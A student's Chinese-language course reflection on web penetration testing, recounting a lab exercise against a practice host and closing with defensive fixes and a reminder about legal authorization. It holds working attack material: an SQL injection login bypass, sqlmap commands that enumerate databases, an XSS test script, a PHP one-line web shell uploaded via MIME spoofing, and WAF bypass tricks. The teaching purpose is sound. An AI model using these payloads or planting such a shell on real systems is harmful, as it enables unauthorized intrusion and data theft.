Web渗透测试“一课一得”——从信息收集到漏洞利用的实战总结 一、引言本学期我学习了《Web安全与渗透测试》这门课程系统接触了信息收集、漏洞扫描、SQL注入、跨站脚本攻击XSS、文件上传漏洞等核心知识点。从最初只会用工具“盲扫”到如今能够手动构造Payload进行漏洞验证这个过程让我对Web安全有了深刻的理解。在此我以一次完整的靶场渗透测试为例分享我的学习心得。二、渗透测试整体流程一次完整的Web渗透测试通常包含以下五个阶段阶段主要工作信息收集子域名挖掘、端口扫描、指纹识别漏洞探测使用工具 手动检测常见漏洞漏洞利用构造Payload获取敏感数据或权限权限维持植入后门合法授权前提下报告编写整理漏洞详情与修复建议三、实战过程记录3.1 信息收集我使用Nmap对目标靶机进行端口扫描bashnmap -sV -p- 192.168.1.100扫描结果发现开放了80端口HTTP和22端口SSH说明目标存在Web服务可以进一步探测Web应用漏洞。接着使用WhatWeb进行指纹识别bashwhatweb http://192.168.1.100识别出目标使用了Apache 2.4.41和PHP 7.3.33这为后续漏洞挖掘提供了重要线索。3.2 SQL注入漏洞挖掘在目标网站的登录页面我尝试在用户名输入框中注入以下Payloadsql OR 11 --系统返回了登录成功的响应——这表明存在基于布尔盲注的SQL注入漏洞。进一步使用sqlmap自动化检测bashsqlmap -u http://192.168.1.100/login.php --datauseradminpass123 --dbs成功获取到数据库名称和表结构信息。这个漏洞的根本原因是未对用户输入进行参数化过滤直接将输入拼接到SQL语句中执行。3.3 跨站脚本攻击XSS验证在网站的搜索框中我输入了以下测试代码htmlscriptalert(XSS)/script页面弹出了提示框说明存在反射型XSS漏洞。更严重的是在文章评论功能中该Payload被存储到数据库并在每次加载页面时执行属于存储型XSS危害更大。3.4 文件上传漏洞在用户头像上传功能中我尝试上传一个PHP一句话木马文件php?php eval($_POST[cmd]); ?配合Burp Suite抓包修改文件MIME类型为image/jpeg并添加图片文件头成功绕过了前端和后端的文件类型校验将木马上传到服务器。随后使用AntSword蚁剑连接成功获取了目标服务器的部分文件管理权限。四、遇到的坑与解决方法防火墙拦截在SQL注入过程中目标开启了简单WAF规则。我通过大小写绕过和URL编码绕过的方式成功绕过检测。Burp Suite证书问题HTTPS网站抓包时需要安装Burp根证书否则无法正常代理。Payload构造失败一开始对闭合符号判断错误通过反复尝试不同闭合方式单引号、双引号、括号闭合最终成功。五、安全修复建议通过本次实战测试我总结出以下几点防御建议SQL注入使用预编译语句如 PDO、MyBatis 参数绑定避免直接拼接SQLXSS攻击对用户输入进行严格的转义和过滤使用CSP策略文件上传限制文件类型、使用随机重命名、禁止上传目录执行权限通用原则永远不要相信用户输入所有输入都需要经过校验和过滤六、学习总结通过这门课程的学习和本次实战演练我深刻认识到“未知攻焉知防”的道理。只有站在攻击者的角度思考问题才能更好地构建防御体系。Web安全是一个需要持续学习的领域新的漏洞和防御技术层出不穷未来我将继续深入研究。同时我也要强调渗透测试技术必须在合法授权的前提下使用任何未经授权的攻击行为都是违法的。